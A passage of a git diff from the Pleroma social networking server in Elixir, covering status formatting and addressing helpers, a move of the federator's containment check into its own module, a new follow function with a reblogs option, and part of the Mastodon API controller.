	alias Pleroma.Web.MediaProxy

	require Logger

	# This is a hack for twidere.
	def get_by_id_or_ap_id(id) do
	activity =
	Activity.get_by_id_with_object(id) \|\| Activity.get_create_by_object_ap_id_with_object(id)

	activity &&
	if activity.data["type"] == "Create" do
	activity
	else
	Activity.get_create_by_object_ap_id_with_object(activity.data["object"])
	end
	end

	def get_replied_to_activity(""), do: nil

	def get_replied_to_activity(id) when not is_nil(id) do
	Activity.get_by_id(id)
	end

	def get_replied_to_activity(_), do: nil

	def attachments_from_ids(data) do
	if Map.has_key?(data, "descriptions") do
	attachments_from_ids_descs(data["media_ids"], data["descriptions"])
	else
	attachments_from_ids_no_descs(data["media_ids"])
	end
	end

	def attachments_from_ids_no_descs(ids) do
	Enum.map(ids \|\| [], fn media_id ->
	Repo.get(Object, media_id).data
	end)
	end

	def attachments_from_ids_descs(ids, descs_str) do
	{_, descs} = Jason.decode(descs_str)

	Enum.map(ids \|\| [], fn media_id ->
	Map.put(Repo.get(Object, media_id).data, "name", descs[media_id])
	end)
	end

	def to_for_user_and_mentions(user, mentions, inReplyTo, "public") do
	mentioned_users = Enum.map(mentions, fn {_, %{ap_id: ap_id}} -> ap_id end)

	to = ["https://www.w3.org/ns/activitystreams#Public" \| mentioned_users]
	cc = [user.follower_address]

	if inReplyTo do
	{Enum.uniq([inReplyTo.data["actor"] \| to]), cc}
	else
	{to, cc}
	end
	end

	def to_for_user_and_mentions(user, mentions, inReplyTo, "unlisted") do
	mentioned_users = Enum.map(mentions, fn {_, %{ap_id: ap_id}} -> ap_id end)

	to = [user.follower_address \| mentioned_users]
	cc = ["https://www.w3.org/ns/activitystreams#Public"]

	if inReplyTo do
	{Enum.uniq([inReplyTo.data["actor"] \| to]), cc}
	else
	{to, cc}
	end
	end

	def to_for_user_and_mentions(user, mentions, inReplyTo, "private") do
	{to, cc} = to_for_user_and_mentions(user, mentions, inReplyTo, "direct")
	{[user.follower_address \| to], cc}
	end

	def to_for_user_and_mentions(_user, mentions, inReplyTo, "direct") do
	mentioned_users = Enum.map(mentions, fn {_, %{ap_id: ap_id}} -> ap_id end)

	if inReplyTo do
	{Enum.uniq([inReplyTo.data["actor"] \| mentioned_users]), []}
	else
	{mentioned_users, []}
	end
	end

	def make_content_html(
	status,
	attachments,
	data,
	visibility
	) do
	no_attachment_links =
	data
	\|> Map.get("no_attachment_links", Config.get([:instance, :no_attachment_links]))
	\|> Kernel.in([true, "true"])

	content_type = get_content_type(data["content_type"])

	options =
	if visibility == "direct" && Config.get([:instance, :safe_dm_mentions]) do
	[safe_mention: true]
	else
	[]
	end

	status
	\|> format_input(content_type, options)
	\|> maybe_add_attachments(attachments, no_attachment_links)
	\|> maybe_add_nsfw_tag(data)
	end

	defp get_content_type(content_type) do
	if Enum.member?(Config.get([:instance, :allowed_post_formats]), content_type) do
	content_type
	else
	"text/plain"
	end
	end

	defp maybe_add_nsfw_tag({text, mentions, tags}, %{"sensitive" => sensitive})
	when sensitive in [true, "True", "true", "1"] do
	{text, mentions, [{"#nsfw", "nsfw"} \| tags]}
	end

	defp maybe_add_nsfw_tag(data, _), do: data

	def make_context(%Activity{data: %{"context" => context}}), do: context
	def make_context(_), do: Utils.generate_context_id()

	def maybe_add_attachments(parsed, _attachments, true = _no_links), do: parsed

	def maybe_add_attachments({text, mentions, tags}, attachments, _no_links) do
	text = add_attachments(text, attachments)
	{text, mentions, tags}
	end

	def add_attachments(text, attachments) do
	attachment_text =
	Enum.map(attachments, fn
	%{"url" => [%{"href" => href} \| _]} = attachment ->
	name = attachment["name"] \|\| URI.decode(Path.basename(href))
	href = MediaProxy.url(href)
	"<a href=\"#{href}\" class='attachment'>#{shortname(name)}</a>"

	_ ->
	""
	end)

	Enum.join([text \| attachment_text], "<br>")
	end

	def format_input(text, format, options \\ [])

	@doc """
	Formatting text to plain text.
	"""
	def format_input(text, "text/plain", options) do
	text
	\|> Formatter.html_escape("text/plain")
	\|> Formatter.linkify(options)
	\|> (fn {text, mentions, tags} ->
	{String.replace(text, ~r/\r?\n/, "<br>"), mentions, tags}
	end).()
	end

	@doc """
	Formatting text to html.
	"""
	def format_input(text, "text/html", options) do
	text
	\|> Formatter.html_escape("text/html")
	\|> Formatter.linkify(options)
	end

	@doc """
	Formatting text to markdown.
	"""
	def format_input(text, "text/markdown", options) do
	text
	\|> Formatter.mentions_escape(options)
	\|> Earmark.as_html!()
	\|> Formatter.linkify(options)
	\|> Formatter.html_escape("text/html")
	end

	def make_note_data(
	actor,
	to,
	context,
	content_html,
	attachments,
	- inReplyTo,
	+ in_reply_to,
	tags,
	cw \\ nil,
	cc \\ []
	) do
	object = %{
	"type" => "Note",
	"to" => to,
	"cc" => cc,
	"content" => content_html,
	"summary" => cw,
	"context" => context,
	"attachment" => attachments,
	"actor" => actor,
	"tag" => tags \|> Enum.map(fn {_, tag} -> tag end) \|> Enum.uniq()
	}

	- if inReplyTo do
	+ if in_reply_to do
	+ in_reply_to_object = Object.normalize(in_reply_to.data["object"])
	+
	object
	- \|> Map.put("inReplyTo", inReplyTo.data["object"]["id"])
	+ \|> Map.put("inReplyTo", in_reply_to_object.data["id"])
	else
	object
	end
	end

	def format_naive_asctime(date) do
	date \|> DateTime.from_naive!("Etc/UTC") \|> format_asctime
	end

	def format_asctime(date) do
	Strftime.strftime!(date, "%a %b %d %H:%M:%S %z %Y")
	end

	def date_to_asctime(date) when is_binary(date) do
	with {:ok, date, _offset} <- DateTime.from_iso8601(date) do
	format_asctime(date)
	else
	_e ->
	Logger.warn("Date #{date} in wrong format, must be ISO 8601")
	""
	end
	end

	def date_to_asctime(date) do
	Logger.warn("Date #{date} in wrong format, must be ISO 8601")
	""
	end

	def to_masto_date(%NaiveDateTime{} = date) do
	date
	\|> NaiveDateTime.to_iso8601()
	\|> String.replace(~r/(\.\d+)?$/, ".000Z", global: false)
	end

	def to_masto_date(date) do
	try do
	date
	\|> NaiveDateTime.from_iso8601!()
	\|> NaiveDateTime.to_iso8601()
	\|> String.replace(~r/(\.\d+)?$/, ".000Z", global: false)
	rescue
	_e -> ""
	end
	end

	defp shortname(name) do
	if String.length(name) < 30 do
	name
	else
	String.slice(name, 0..30) <> "…"
	end
	end

	def confirm_current_password(user, password) do
	with %User{local: true} = db_user <- User.get_cached_by_id(user.id),
	true <- Pbkdf2.checkpw(password, db_user.password_hash) do
	{:ok, db_user}
	else
	_ -> {:error, "Invalid password."}
	end
	end

	def emoji_from_profile(%{info: _info} = user) do
	(Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name))
	\|> Enum.map(fn {shortcode, url, _} ->
	%{
	"type" => "Emoji",
	"icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"},
	"name" => ":#{shortcode}:"
	}
	end)
	end

	def maybe_notify_to_recipients(
	recipients,
	%Activity{data: %{"to" => to, "type" => _type}} = _activity
	) do
	recipients ++ to
	end

	def maybe_notify_mentioned_recipients(
	recipients,
	%Activity{data: %{"to" => _to, "type" => type} = data} = activity
	)
	when type == "Create" do
	object = Object.normalize(activity)

	object_data =
	cond do
	!is_nil(object) ->
	object.data

	is_map(data["object"]) ->
	data["object"]

	true ->
	%{}
	end

	tagged_mentions = maybe_extract_mentions(object_data)

	recipients ++ tagged_mentions
	end

	def maybe_notify_mentioned_recipients(recipients, _), do: recipients

	def maybe_notify_subscribers(
	recipients,
	%Activity{data: %{"actor" => actor, "type" => type}} = activity
	)
	when type == "Create" do
	with %User{} = user <- User.get_cached_by_ap_id(actor) do
	subscriber_ids =
	user
	\|> User.subscribers()
	\|> Enum.filter(&Visibility.visible_for_user?(activity, &1))
	\|> Enum.map(& &1.ap_id)

	recipients ++ subscriber_ids
	end
	end

	def maybe_notify_subscribers(recipients, _), do: recipients

	def maybe_extract_mentions(%{"tag" => tag}) do
	tag
	\|> Enum.filter(fn x -> is_map(x) end)
	\|> Enum.filter(fn x -> x["type"] == "Mention" end)
	\|> Enum.map(fn x -> x["href"] end)
	end

	def maybe_extract_mentions(_), do: []

	def make_report_content_html(nil), do: {:ok, {nil, [], []}}

	def make_report_content_html(comment) do
	max_size = Pleroma.Config.get([:instance, :max_report_comment_size], 1000)

	if String.length(comment) <= max_size do
	{:ok, format_input(comment, "text/plain")}
	else
	{:error, "Comment must be up to #{max_size} characters"}
	end
	end

	def get_report_statuses(%User{ap_id: actor}, %{"status_ids" => status_ids}) do
	{:ok, Activity.all_by_actor_and_id(actor, status_ids)}
	end

	def get_report_statuses(_, _), do: {:ok, nil}

	# DEPRECATED mostly, context objects are now created at insertion time.
	def context_to_conversation_id(context) do
	with %Object{id: id} <- Object.get_cached_by_ap_id(context) do
	id
	else
	_e ->
	changeset = Object.context_mapping(context)

	case Repo.insert(changeset) do
	{:ok, %{id: id}} ->
	id

	# This should be solved by an upsert, but it seems ecto
	# has problems accessing the constraint inside the jsonb.
	{:error, _} ->
	Object.get_cached_by_ap_id(context).id
	end
	end
	end

	def conversation_id_to_context(id) do
	with %Object{data: %{"id" => context}} <- Repo.get(Object, id) do
	context
	else
	_e ->
	{:error, "No such conversation"}
	end
	end
	end
	diff --git a/lib/pleroma/web/federator/federator.ex b/lib/pleroma/web/federator/federator.ex
	index e45a6d316..29e178ba9 100644
	--- a/lib/pleroma/web/federator/federator.ex
	+++ b/lib/pleroma/web/federator/federator.ex
	@@ -1,196 +1,197 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Federator do
	alias Pleroma.Activity
	+ alias Pleroma.Object.Containment
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Relay
	alias Pleroma.Web.ActivityPub.Transmogrifier
	alias Pleroma.Web.ActivityPub.Utils
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.Federator.RetryQueue
	alias Pleroma.Web.OStatus
	alias Pleroma.Web.Salmon
	alias Pleroma.Web.WebFinger
	alias Pleroma.Web.Websub

	require Logger

	@websub Application.get_env(:pleroma, :websub)
	@ostatus Application.get_env(:pleroma, :ostatus)

	def init do
	# 1 minute
	Process.sleep(1000 * 60)
	refresh_subscriptions()
	end

	# Client API

	def incoming_doc(doc) do
	PleromaJobQueue.enqueue(:federator_incoming, __MODULE__, [:incoming_doc, doc])
	end

	def incoming_ap_doc(params) do
	PleromaJobQueue.enqueue(:federator_incoming, __MODULE__, [:incoming_ap_doc, params])
	end

	def publish(activity, priority \\ 1) do
	PleromaJobQueue.enqueue(:federator_outgoing, __MODULE__, [:publish, activity], priority)
	end

	def publish_single_ap(params) do
	PleromaJobQueue.enqueue(:federator_outgoing, __MODULE__, [:publish_single_ap, params])
	end

	def publish_single_websub(websub) do
	PleromaJobQueue.enqueue(:federator_outgoing, __MODULE__, [:publish_single_websub, websub])
	end

	def verify_websub(websub) do
	PleromaJobQueue.enqueue(:federator_outgoing, __MODULE__, [:verify_websub, websub])
	end

	def request_subscription(sub) do
	PleromaJobQueue.enqueue(:federator_outgoing, __MODULE__, [:request_subscription, sub])
	end

	def refresh_subscriptions do
	PleromaJobQueue.enqueue(:federator_outgoing, __MODULE__, [:refresh_subscriptions])
	end

	def publish_single_salmon(params) do
	PleromaJobQueue.enqueue(:federator_outgoing, __MODULE__, [:publish_single_salmon, params])
	end

	# Job Worker Callbacks

	def perform(:refresh_subscriptions) do
	Logger.debug("Federator running refresh subscriptions")
	Websub.refresh_subscriptions()

	spawn(fn ->
	# 6 hours
	Process.sleep(1000 * 60 * 60 * 6)
	refresh_subscriptions()
	end)
	end

	def perform(:request_subscription, websub) do
	Logger.debug("Refreshing #{websub.topic}")

	with {:ok, websub} <- Websub.request_subscription(websub) do
	Logger.debug("Successfully refreshed #{websub.topic}")
	else
	_e -> Logger.debug("Couldn't refresh #{websub.topic}")
	end
	end

	def perform(:publish, activity) do
	Logger.debug(fn -> "Running publish for #{activity.data["id"]}" end)

	with actor when not is_nil(actor) <- User.get_cached_by_ap_id(activity.data["actor"]) do
	{:ok, actor} = WebFinger.ensure_keys_present(actor)

	if Visibility.is_public?(activity) do
	if OStatus.is_representable?(activity) do
	Logger.info(fn -> "Sending #{activity.data["id"]} out via WebSub" end)
	Websub.publish(Pleroma.Web.OStatus.feed_path(actor), actor, activity)

	Logger.info(fn -> "Sending #{activity.data["id"]} out via Salmon" end)
	Pleroma.Web.Salmon.publish(actor, activity)
	end

	if Keyword.get(Application.get_env(:pleroma, :instance), :allow_relay) do
	Logger.info(fn -> "Relaying #{activity.data["id"]} out" end)
	Relay.publish(activity)
	end
	end

	Logger.info(fn -> "Sending #{activity.data["id"]} out via AP" end)
	Pleroma.Web.ActivityPub.ActivityPub.publish(actor, activity)
	end
	end

	def perform(:verify_websub, websub) do
	Logger.debug(fn ->
	"Running WebSub verification for #{websub.id} (#{websub.topic}, #{websub.callback})"
	end)

	@websub.verify(websub)
	end

	def perform(:incoming_doc, doc) do
	Logger.info("Got document, trying to parse")
	@ostatus.handle_incoming(doc)
	end

	def perform(:incoming_ap_doc, params) do
	Logger.info("Handling incoming AP activity")

	params = Utils.normalize_params(params)

	# NOTE: we use the actor ID to do the containment, this is fine because an
	# actor shouldn't be acting on objects outside their own AP server.
	with {:ok, _user} <- ap_enabled_actor(params["actor"]),
	nil <- Activity.normalize(params["id"]),
	- :ok <- Transmogrifier.contain_origin_from_id(params["actor"], params),
	+ :ok <- Containment.contain_origin_from_id(params["actor"], params),
	{:ok, activity} <- Transmogrifier.handle_incoming(params) do
	{:ok, activity}
	else
	%Activity{} ->
	Logger.info("Already had #{params["id"]}")
	:error

	_e ->
	# Just drop those for now
	Logger.info("Unhandled activity")
	Logger.info(Poison.encode!(params, pretty: 2))
	:error
	end
	end

	def perform(:publish_single_salmon, params) do
	Salmon.send_to_user(params)
	end

	def perform(:publish_single_ap, params) do
	case ActivityPub.publish_one(params) do
	{:ok, _} ->
	:ok

	{:error, _} ->
	RetryQueue.enqueue(params, ActivityPub)
	end
	end

	def perform(
	:publish_single_websub,
	%{xml: _xml, topic: _topic, callback: _callback, secret: _secret} = params
	) do
	case Websub.publish_one(params) do
	{:ok, _} ->
	:ok

	{:error, _} ->
	RetryQueue.enqueue(params, Websub)
	end
	end

	def perform(type, _) do
	Logger.debug(fn -> "Unknown task: #{type}" end)
	{:error, "Don't know what to do with this"}
	end

	def ap_enabled_actor(id) do
	user = User.get_cached_by_ap_id(id)

	if User.ap_enabled?(user) do
	{:ok, user}
	else
	ActivityPub.make_user_from_ap_id(id)
	end
	end
	end
	diff --git a/lib/pleroma/web/mastodon_api/mastodon_api.ex b/lib/pleroma/web/mastodon_api/mastodon_api.ex
	index 382f07e6b..3a3ec7c2a 100644
	--- a/lib/pleroma/web/mastodon_api/mastodon_api.ex
	+++ b/lib/pleroma/web/mastodon_api/mastodon_api.ex
	@@ -1,58 +1,84 @@
	defmodule Pleroma.Web.MastodonAPI.MastodonAPI do
	import Ecto.Query
	import Ecto.Changeset

	alias Pleroma.Activity
	alias Pleroma.Notification
	alias Pleroma.Pagination
	alias Pleroma.ScheduledActivity
	alias Pleroma.User
	+ alias Pleroma.Web.CommonAPI
	+
	+ def follow(follower, followed, params \\ %{}) do
	+ options = cast_params(params)
	+ reblogs = options[:reblogs]
	+
	+ result =
	+ if not User.following?(follower, followed) do
	+ CommonAPI.follow(follower, followed)
	+ else
	+ {:ok, follower, followed, nil}
	+ end
	+
	+ with {:ok, follower, followed, _} <- result do
	+ reblogs
	+ \|> case do
	+ false -> CommonAPI.hide_reblogs(follower, followed)
	+ _ -> CommonAPI.show_reblogs(follower, followed)
	+ end
	+ \|> case do
	+ {:ok, follower} -> {:ok, follower}
	+ _ -> {:ok, follower}
	+ end
	+ end
	+ end

	def get_followers(user, params \\ %{}) do
	user
	\|> User.get_followers_query()
	\|> Pagination.fetch_paginated(params)
	end

	def get_friends(user, params \\ %{}) do
	user
	\|> User.get_friends_query()
	\|> Pagination.fetch_paginated(params)
	end

	def get_notifications(user, params \\ %{}) do
	options = cast_params(params)

	user
	\|> Notification.for_user_query()
	\|> restrict(:exclude_types, options)
	\|> Pagination.fetch_paginated(params)
	end

	def get_scheduled_activities(user, params \\ %{}) do
	user
	\|> ScheduledActivity.for_user_query()
	\|> Pagination.fetch_paginated(params)
	end

	defp cast_params(params) do
	param_types = %{
	- exclude_types: {:array, :string}
	+ exclude_types: {:array, :string},
	+ reblogs: :boolean
	}

	changeset = cast({%{}, param_types}, params, Map.keys(param_types))
	changeset.changes
	end

	defp restrict(query, :exclude_types, %{exclude_types: mastodon_types = [_ \| _]}) do
	ap_types =
	mastodon_types
	\|> Enum.map(&Activity.from_mastodon_notification_type/1)
	\|> Enum.filter(& &1)

	query
	\|> where([q, a], not fragment("? @> ARRAY[?->>'type']::varchar[]", ^ap_types, a.data))
	end

	defp restrict(query, _, _), do: query
	end
	diff --git a/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex
	index 54e4be3db..dfc89defa 100644
	--- a/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex
	+++ b/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex
	@@ -1,1672 +1,1663 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
	use Pleroma.Web, :controller
	-
	alias Ecto.Changeset
	alias Pleroma.Activity
	alias Pleroma.Config
	alias Pleroma.Filter
	alias Pleroma.Notification
	alias Pleroma.Object
	+ alias Pleroma.Object.Fetcher
	alias Pleroma.Pagination
	alias Pleroma.Repo
	alias Pleroma.ScheduledActivity
	alias Pleroma.Stats
	alias Pleroma.User
	alias Pleroma.Web
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.MastodonAPI.AccountView
	alias Pleroma.Web.MastodonAPI.AppView
	alias Pleroma.Web.MastodonAPI.FilterView
	alias Pleroma.Web.MastodonAPI.ListView
	alias Pleroma.Web.MastodonAPI.MastodonAPI
	alias Pleroma.Web.MastodonAPI.MastodonView
	alias Pleroma.Web.MastodonAPI.NotificationView
	alias Pleroma.Web.MastodonAPI.ReportView
	alias Pleroma.Web.MastodonAPI.ScheduledActivityView
	alias Pleroma.Web.MastodonAPI.StatusView
	alias Pleroma.Web.MediaProxy
	alias Pleroma.Web.OAuth.App
	alias Pleroma.Web.OAuth.Authorization
	alias Pleroma.Web.OAuth.Token

	import Pleroma.Web.ControllerHelper, only: [oauth_scopes: 2]
	import Ecto.Query

	require Logger

	@httpoison Application.get_env(:pleroma, :httpoison)
	@local_mastodon_name "Mastodon-Local"

	action_fallback(:errors)

	def create_app(conn, params) do
	scopes = oauth_scopes(params, ["read"])

	app_attrs =
	params
	\|> Map.drop(["scope", "scopes"])
	\|> Map.put("scopes", scopes)

	with cs <- App.register_changeset(%App{}, app_attrs),
	false <- cs.changes[:client_name] == @local_mastodon_name,
	{:ok, app} <- Repo.insert(cs) do
	conn
	\|> put_view(AppView)
	\|> render("show.json", %{app: app})
	end
	end

	defp add_if_present(
	map,
	params,
	params_field,
	map_field,
	value_function \\ fn x -> {:ok, x} end
	) do
	if Map.has_key?(params, params_field) do
	case value_function.(params[params_field]) do
	{:ok, new_value} -> Map.put(map, map_field, new_value)
	:error -> map
	end
	else
	map
	end
	end

	def update_credentials(%{assigns: %{user: user}} = conn, params) do
	original_user = user

	user_params =
	%{}
	\|> add_if_present(params, "display_name", :name)
	\|> add_if_present(params, "note", :bio, fn value -> {:ok, User.parse_bio(value)} end)
	\|> add_if_present(params, "avatar", :avatar, fn value ->
	with %Plug.Upload{} <- value,
	{:ok, object} <- ActivityPub.upload(value, type: :avatar) do
	{:ok, object.data}
	else
	_ -> :error
	end
	end)

	info_params =
	%{}
	\|> add_if_present(params, "locked", :locked, fn value -> {:ok, value == "true"} end)
	\|> add_if_present(params, "header", :banner, fn value ->
	with %Plug.Upload{} <- value,
	{:ok, object} <- ActivityPub.upload(value, type: :banner) do
	{:ok, object.data}
	else
	_ -> :error
	end
	end)

	info_cng = User.Info.mastodon_profile_update(user.info, info_params)

	with changeset <- User.update_changeset(user, user_params),
	changeset <- Ecto.Changeset.put_embed(changeset, :info, info_cng),
	{:ok, user} <- User.update_and_set_cache(changeset) do
	if original_user != user do
	CommonAPI.update(user)
	end

	json(conn, AccountView.render("account.json", %{user: user, for: user}))
	else
	_e ->
	conn
	\|> put_status(403)
	\|> json(%{error: "Invalid request"})
	end
	end

	def verify_credentials(%{assigns: %{user: user}} = conn, _) do
	account = AccountView.render("account.json", %{user: user, for: user})
	json(conn, account)
	end

	def verify_app_credentials(%{assigns: %{user: _user, token: token}} = conn, _) do
	with %Token{app: %App{} = app} <- Repo.preload(token, :app) do
	conn
	\|> put_view(AppView)
	\|> render("short.json", %{app: app})
	end
	end

	def user(%{assigns: %{user: for_user}} = conn, %{"id" => nickname_or_id}) do
	with %User{} = user <- User.get_cached_by_nickname_or_id(nickname_or_id),
	true <- User.auth_active?(user) \|\| user.id == for_user.id \|\| User.superuser?(for_user) do
	account = AccountView.render("account.json", %{user: user, for: for_user})
	json(conn, account)
	else
	_e ->
	conn
	\|> put_status(404)
	\|> json(%{error: "Can't find user"})
	end
	end

	@mastodon_api_level "2.5.0"

	def masto_instance(conn, _params) do
	instance = Config.get(:instance)

	response = %{
	uri: Web.base_url(),
	title: Keyword.get(instance, :name),
	description: Keyword.get(instance, :description),
	version: "#{@mastodon_api_level} (compatible; #{Pleroma.Application.named_version()})",
	email: Keyword.get(instance, :email),
	urls: %{
	streaming_api: Pleroma.Web.Endpoint.websocket_url()
	},
	stats: Stats.get_stats(),
	thumbnail: Web.base_url() <> "/instance/thumbnail.jpeg",
	languages: ["en"],
	registrations: Pleroma.Config.get([:instance, :registrations_open]),
	# Extra (not present in Mastodon):
	max_toot_chars: Keyword.get(instance, :limit)
	}

	json(conn, response)
	end

	def peers(conn, _params) do
	json(conn, Stats.get_peers())
	end

	defp mastodonized_emoji do
	Pleroma.Emoji.get_all()
	\|> Enum.map(fn {shortcode, relative_url, tags} ->
	url = to_string(URI.merge(Web.base_url(), relative_url))

	%{
	"shortcode" => shortcode,
	"static_url" => url,
	"visible_in_picker" => true,
	"url" => url,
	- "tags" => String.split(tags, ",")
	+ "tags" => tags
	}
	end)
	end

	def custom_emojis(conn, _params) do
	mastodon_emoji = mastodonized_emoji()
	json(conn, mastodon_emoji)
	end

	defp add_link_headers(conn, method, activities, param \\ nil, params \\ %{}) do
	params =
	conn.params
	\|> Map.drop(["since_id", "max_id", "min_id"])
	\|> Map.merge(params)

	last = List.last(activities)

	if last do
	max_id = last.id

	limit =
	params
	\|> Map.get("limit", "20")
	\|> String.to_integer()

	min_id =
	if length(activities) <= limit do
	activities
	\|> List.first()
	\|> Map.get(:id)
	else
	activities
	\|> Enum.at(limit * -1)
	\|> Map.get(:id)
	end

	{next_url, prev_url} =
	if param do
	{
	mastodon_api_url(
	Pleroma.Web.Endpoint,
	method,
	param,
	Map.merge(params, %{max_id: max_id})
	),
	mastodon_api_url(
	Pleroma.Web.Endpoint,
	method,
	param,
	Map.merge(params, %{min_id: min_id})
	)
	}
	else
	{
	mastodon_api_url(
	Pleroma.Web.Endpoint,
	method,
	Map.merge(params, %{max_id: max_id})
	),
	mastodon_api_url(
	Pleroma.Web.Endpoint,
	method,
	Map.merge(params, %{min_id: min_id})
	)
	}
	end

	conn
	\|> put_resp_header("link", "<#{next_url}>; rel=\"next\", <#{prev_url}>; rel=\"prev\"")
	else
	conn
	end
	end

	def home_timeline(%{assigns: %{user: user}} = conn, params) do
	params =
	params
	\|> Map.put("type", ["Create", "Announce"])
	\|> Map.put("blocking_user", user)
	\|> Map.put("muting_user", user)
	\|> Map.put("user", user)

	activities =
	[user.ap_id \| user.following]
	\|> ActivityPub.fetch_activities(params)
	\|> ActivityPub.contain_timeline(user)
	\|> Enum.reverse()

	conn
	\|> add_link_headers(:home_timeline, activities)
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	end

	def public_timeline(%{assigns: %{user: user}} = conn, params) do
	local_only = params["local"] in [true, "True", "true", "1"]

	activities =
	params
	\|> Map.put("type", ["Create", "Announce"])
	\|> Map.put("local_only", local_only)
	\|> Map.put("blocking_user", user)
	\|> Map.put("muting_user", user)
	\|> ActivityPub.fetch_public_activities()
	\|> Enum.reverse()

	conn
	\|> add_link_headers(:public_timeline, activities, false, %{"local" => local_only})
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	end

	def user_statuses(%{assigns: %{user: reading_user}} = conn, params) do
	with %User{} = user <- User.get_cached_by_id(params["id"]) do
	activities = ActivityPub.fetch_user_activities(user, reading_user, params)

	conn
	\|> add_link_headers(:user_statuses, activities, params["id"])
	\|> put_view(StatusView)
	\|> render("index.json", %{
	activities: activities,
	for: reading_user,
	as: :activity
	})
	end
	end

	def dm_timeline(%{assigns: %{user: user}} = conn, params) do
	params =
	params
	\|> Map.put("type", "Create")
	\|> Map.put("blocking_user", user)
	\|> Map.put("user", user)
	\|> Map.put(:visibility, "direct")

	activities =
	[user.ap_id]
	\|> ActivityPub.fetch_activities_query(params)
	\|> Pagination.fetch_paginated(params)

	conn
	\|> add_link_headers(:dm_timeline, activities)
	\|> put_view(StatusView)
	\|> render("index.json", %{activities: activities, for: user, as: :activity})
	end

	def get_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	- with %Activity{} = activity <- Activity.get_by_id(id),
	+ with %Activity{} = activity <- Activity.get_by_id_with_object(id),
	true <- Visibility.visible_for_user?(activity, user) do
	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user})
	end
	end

	def get_context(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with %Activity{} = activity <- Activity.get_by_id(id),
	activities <-
	ActivityPub.fetch_activities_for_context(activity.data["context"], %{
	"blocking_user" => user,
	"user" => user
	}),
	activities <-
	activities \|> Enum.filter(fn %{id: aid} -> to_string(aid) != to_string(id) end),
	activities <-
	activities \|> Enum.filter(fn %{data: %{"type" => type}} -> type == "Create" end),
	grouped_activities <- Enum.group_by(activities, fn %{id: id} -> id < activity.id end) do
	result = %{
	ancestors:
	StatusView.render(
	"index.json",
	for: user,
	activities: grouped_activities[true] \|\| [],
	as: :activity
	)
	\|> Enum.reverse(),
	# credo:disable-for-previous-line Credo.Check.Refactor.PipeChainStart
	descendants:
	StatusView.render(
	"index.json",
	for: user,
	activities: grouped_activities[false] \|\| [],
	as: :activity
	)
	\|> Enum.reverse()
	# credo:disable-for-previous-line Credo.Check.Refactor.PipeChainStart
	}

	json(conn, result)
	end
	end

	def scheduled_statuses(%{assigns: %{user: user}} = conn, params) do
	with scheduled_activities <- MastodonAPI.get_scheduled_activities(user, params) do
	conn
	\|> add_link_headers(:scheduled_statuses, scheduled_activities)
	\|> put_view(ScheduledActivityView)
	\|> render("index.json", %{scheduled_activities: scheduled_activities})
	end
	end

	def show_scheduled_status(%{assigns: %{user: user}} = conn, %{"id" => scheduled_activity_id}) do
	with %ScheduledActivity{} = scheduled_activity <-
	ScheduledActivity.get(user, scheduled_activity_id) do
	conn
	\|> put_view(ScheduledActivityView)
	\|> render("show.json", %{scheduled_activity: scheduled_activity})
	else
	_ -> {:error, :not_found}
	end
	end

	def update_scheduled_status(
	%{assigns: %{user: user}} = conn,
	%{"id" => scheduled_activity_id} = params
	) do
	with %ScheduledActivity{} = scheduled_activity <-
	ScheduledActivity.get(user, scheduled_activity_id),
	{:ok, scheduled_activity} <- ScheduledActivity.update(scheduled_activity, params) do
	conn
	\|> put_view(ScheduledActivityView)
	\|> render("show.json", %{scheduled_activity: scheduled_activity})
	else
	nil -> {:error, :not_found}
	error -> error
	end
	end

	def delete_scheduled_status(%{assigns: %{user: user}} = conn, %{"id" => scheduled_activity_id}) do
	with %ScheduledActivity{} = scheduled_activity <-
	ScheduledActivity.get(user, scheduled_activity_id),
	{:ok, scheduled_activity} <- ScheduledActivity.delete(scheduled_activity) do
	conn
	\|> put_view(ScheduledActivityView)
	\|> render("show.json", %{scheduled_activity: scheduled_activity})
	else
	nil -> {:error, :not_found}
	error -> error
	end
	end

	def post_status(conn, %{"status" => "", "media_ids" => media_ids} = params)
	when length(media_ids) > 0 do
	params =
	params
	\|> Map.put("status", ".")

	post_status(conn, params)
	end

	def post_status(%{assigns: %{user: user}} = conn, %{"status" => _} = params) do
	params =
	params
	\|> Map.put("in_reply_to_status_id", params["in_reply_to_id"])

	idempotency_key =
	case get_req_header(conn, "idempotency-key") do
	[key] -> key
	_ -> Ecto.UUID.generate()
	end

	scheduled_at = params["scheduled_at"]

	if scheduled_at && ScheduledActivity.far_enough?(scheduled_at) do
	with {:ok, scheduled_activity} <-
	ScheduledActivity.create(user, %{"params" => params, "scheduled_at" => scheduled_at}) do
	conn
	\|> put_view(ScheduledActivityView)
	\|> render("show.json", %{scheduled_activity: scheduled_activity})
	end
	else
	params = Map.drop(params, ["scheduled_at"])

	{:ok, activity} =
	Cachex.fetch!(:idempotency_cache, idempotency_key, fn _ ->
	CommonAPI.post(user, params)
	end)

	conn
	\|> put_view(StatusView)
	\|> try_render("status.json", %{activity: activity, for: user, as: :activity})
	end
	end

	def delete_status(%{assigns: %{user: user}} = conn, %{"id" => id}) do
	with {:ok, %Activity{}} <- CommonAPI.delete(id, user) do
	json(conn, %{})
	else
	_e ->
	conn
	\|> put_status(403)
